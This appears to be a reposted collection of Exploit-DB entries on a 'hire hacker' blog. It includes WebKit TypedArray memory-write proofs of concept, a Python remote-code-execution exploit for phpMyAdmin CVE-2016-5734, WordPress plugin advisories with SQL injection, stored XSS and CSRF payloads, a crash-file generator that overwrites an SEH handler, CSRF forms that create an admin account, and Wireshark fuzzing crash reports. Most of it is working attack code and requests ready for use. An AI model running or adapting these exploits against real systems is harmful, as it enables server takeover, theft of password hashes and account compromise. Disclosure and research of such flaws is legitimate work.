Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863104406

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
There is a bug in TypedArray.fill that can be used to write to an absolute pointer. 

In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:

    unsigned length = thisObject->length();
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);

    if (end < begin)
        return JSValue::encode(exec->thisValue());

    if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
        return JSValue::encode(jsUndefined());

argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.

An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).

Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
-->

<html>
<body>
<script>

function f(){
   try{
   alert("t");
   postMessage("test", "http://127.0.0.1", [q])
   alert(a.byteLength);
   alert(q.byteLength);
  } catch(e){
     alert(e.message);
   alert(a.byteLength)
   alert(q.byteLength);
  }
   return 0x12345678;
}

alert(Date);

var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);

  // alert(q.byteLength);
var t = [];

try{
    a.fill(0x12, o, 0x77777777);
} catch(e){

    alert(e.message);

}

</script>
</body>
</html>
HireHackking 
<!--
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer. 

In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:

    long length = thisObject->length();
    long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
    long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);

    if (final < from)
        return JSValue::encode(exec->thisValue());

    long count = std::min(length - std::max(to, from), final - from);

    typename ViewClass::ElementType* array = thisObject->typedVector();
    memmove(array + to, array + from, count * thisObject->elementSize);

argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.

An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
-->

<html>
<body>
<script>

function f(){
   try{
   alert("t");
   postMessage("test", "http://127.0.0.1", [q])
   alert(a.byteLength);
   alert(q.byteLength);
  } catch(e){
     alert(e.message);
   alert(a.byteLength)
   alert(q.byteLength);
  }
   return 0x22345678;
}

alert(Date);

var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);

  // alert(q.byteLength);
var t = [];

a.copyWithin(0x12345678, o, 0x32345678);


</script>
</body>
</html>
HireHackking 
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
HireHackking 
SQL injection vulnerability in Booking Calendar WordPress Plugin

Abstract

An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160714-0002

Tested versions

These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.

Fix

This issue is resolved in Booking Calendar version 6.2.1.

Introduction

The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Details

This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).

Proof of concept

The following proof of concept will show the hashed password from the first user.

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
         <input type="hidden" name="wh&#95;booking&#95;id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>
HireHackking 
Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin

Abstract

A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0010

Tested versions

This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03.

Fix

This issue is resolved in WP Live Chat Support version 6.2.04.

Introduction

WP Live Chat Support allows chatting with visitors of a WordPress site. A persistent Cross-Site Scripting vulnerability has been discovered in the WP Live Chat Support allowing an attacker to execute actions on behalf of a logged on WordPress user. A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details

The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):

wp-live-chat-support/wp-live-chat-support.php:

600 if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }

wp-live-chat-support/functions.php:

1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209 
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211 
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222 
1223 
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232 
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }

The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.

Proof of concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close
   
action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>
HireHackking 
Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0021

Abstract

It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Tested versions

This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.

Fix

This issue is resolved in ALO EasyMail Newsletter version 2.9.3.

Introduction

ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details

A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.

<?php 
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
   check_admin_referer('alo-easymail_subscribers');

However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.

/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
   //if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');

   
Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Proof of concept

POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain
   
sumofpwn@securify.n;Summer of Pwnage;en
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"
   
newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"
   
import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"
   
Upload CSV file
-----------------------------17016644981835490787491067954--
HireHackking 
# Exploit Title: [Haliburton LogView Pro v9.7.5]
# Exploit Author: [Karn Ganeshen]
# Download link: [http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe]

# Version: [Current version 9.7.5]
# Tested on: [Windows Vista Ultimate SP2]
#
# Open cgm/tif/tiff/tifh file -> program crash -> SEH overwritten
#
# SEH chain of main thread
# Address SE handler
# 0012D22C kernel32.76B6FEF9
# 0012D8CC 42424242
# 41414141 *** CORRUPT ENTRY ***
#

#!/usr/bin/python

file="evil.cgm"
buffer = "A"*804 + "B"*4

file = open(file, 'w')
file.write(buffer)
file.close()

# +++++
HireHackking 
================================================================================================================
Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission
================================================================================================================
# Exploit Title		: Open Upload 0.4.2 Remote Admin Add CSRF Exploit
# Exploit Author	: Vinesh Redkar (@b0rn2pwn) 
# Email      		: vineshredkar89[at]gmail[d0t]com
# Date: 21/07/2016
# Vendor Homepage: http://openupload.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openupload/
# Version: 0.4.2
# Tested on: Windows 10 OS
 
Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering).

Once exploited, the attacker can login as the admin using the username and the password he posted in the form.

======================CSRF POC (Adding New user with Admin Privileges)==================================
CSRF PoC Code
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="2" />
      <input type="hidden" name="adduserlogin" value="attacker" />
      <input type="hidden" name="adduserpassword" value="attacker" />
      <input type="hidden" name="adduserrepassword" value="attacker" />
      <input type="hidden" name="addusername" value="attacker" />
      <input type="hidden" name="adduseremail" value="attacker&#64;gmail&#46;com" />
      <input type="hidden" name="addusergroup" value="admins" />
      <input type="hidden" name="adduserlang" value="en" />
      <input type="hidden" name="adduseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

======================CSRF POC (Changing privileges from normal user to administer)==================================

<html>
<head>
<title>Change privilege normal user to administer CSRF Exploit</title>
</head>
<H2>Change privilege normal user to administer CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="3" />
      <input type="hidden" name="login" value="normal user" />
      <input type="hidden" name="edituserpassword" value="" />
      <input type="hidden" name="edituserrepassword" value="" />
      <input type="hidden" name="editusername" value="normaluser" />
      <input type="hidden" name="edituseremail" value="normaluser&#64;gmail&#46;com" />
      <input type="hidden" name="editusergroup" value="admins" />
      <input type="hidden" name="edituserlang" value="en" />
      <input type="hidden" name="edituseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
Sample generated with AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz

Built using clang 4.2.1 Compatible Clang 3.8.0 (tags/RELEASE_380/final).
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

There is a bug in dissect_nds_request located in epan/dissectors/packet-ncp2222.inc.

dissect_nds_request attempts to call ptvcursor_free() near packet-ncp2222.inc:11806 using the variable ptvc that is set to null at the start of dissect_nds_request. Using the attached sample, the only place ptvc could be set (~ncp2222.inc:11618) is never executed and thus ptvc remains a null pointer.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40194.zip
HireHackking 
Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP eats large amounts of memory ( >4GB ) with a single UDP packet on tshark 2.0.2 and a recent build from repository


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40195.zip
HireHackking 
GIOP capture

Build Information:
Version 2.0.3 (v2.0.3-0-geed34f0 from master-2.0)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with Qt 5.3.2, with WinPcap (4_1_3), with libz 1.2.8, with
GLib 2.42.0, with SMI 0.4.8, with c-ares 1.9.1, with Lua 5.2, with GnuTLS
3.2.15, with Gcrypt 1.6.2, with MIT Kerberos, with GeoIP, with QtMultimedia,
with AirPcap.

Running on 64-bit Windows 8.1, build 9600, with locale C, without WinPcap, with
GnuTLS 3.2.15, with Gcrypt 1.6.2, without AirPcap.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2), with 16334MB of
physical memory.


Built using Microsoft Visual C++ 12.0 build 40629


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40196.zip
HireHackking 
Sample generated by AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

The attached sample evokes a divide-by-zero error in the dissect_pbb_tlvblock() function at packet-packetbb.c:289.

The variable of interest seems to be 'c' which is set at packet-packetbb.c:285 using two other variables and an addition. When c is zero, the expression "length/c" at packet-packetbb.c:289 results in a divide-by-zero error.

Divide-by-zero has been observed when sample is parsed by tshark versions 1.12.8, 1.12.9, 1.12.10, 1.12.12, and 2.0.4 among others.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40197.zip
HireHackking 
Sample generated with AFL

Build Information:
TShark (Wireshark) 2.0.4

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.1, without SMI, with c-ares 1.11.0, with Lua
5.2, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos, with GeoIP.

Running on Linux 4.6.3-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.13, with Gcrypt 1.7.1.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2)

Built using gcc 6.1.1 20160602.
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

This infinite loop is caused by an offset of 0 being returned by wkh_content_disposition(). This offset of 0 prevents the while loop using "offset < tvb_len" from returning and results in an infinite loop.

This issue has been observed in both tshark 1.12.x and 2.0.x.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40198.zip
HireHackking 
Sample PCAP

Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP takes 100% CPU and runs for a long time on tshark 2.0.2 and a recent build from repository ( commit 688d055acd523e645c1e87267dcf4a0a9867adbd ).

GDB backtrace from 'tshark -2 -V -r <pcap>' aborted after running for a while:

Program received signal SIGABRT, Aborted.
0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
1722	        next_bytes = li_on_2_bytes ? tvb_get_ntohs(tvb, hdr_len) : tvb_get_guint8(tvb, hdr_len);
123 tomb gdb execution "thread apply all bt" 321

Thread 1 (Thread 0x7ffff7fb9740 (LWP 1578)):
#0  0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
#1  0x00007ffff45bde04 in dissect_rlc_am (channel=RLC_UL_DCCH, tvb=0x9342c0, pinfo=0xb04c18, top_level=0x0, tree=0x0, atm=0x0) at packet-rlc.c:2308
#2  0x00007ffff45be82a in dissect_rlc_dcch (tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-rlc.c:2477
#3  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#4  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#5  0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#6  0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#7  0x00007ffff47e7679 in dissect_mac_fdd_dch (tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_mac.c:564
#8  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#9  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#10 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#11 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#12 0x00007ffff47dab2e in dissect_tb_data (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data_handle=0x7ffff7aae8e8 <mac_fdd_dch_handle>, data=0x0) at packet-umts_fp.c:815
#13 0x00007ffff47decbb in dissect_dch_channel_info (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data=0x0) at packet-umts_fp.c:2557
#14 0x00007ffff47e476e in dissect_fp_common (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4419
#15 0x00007ffff47e4add in dissect_fp (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4507
#16 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
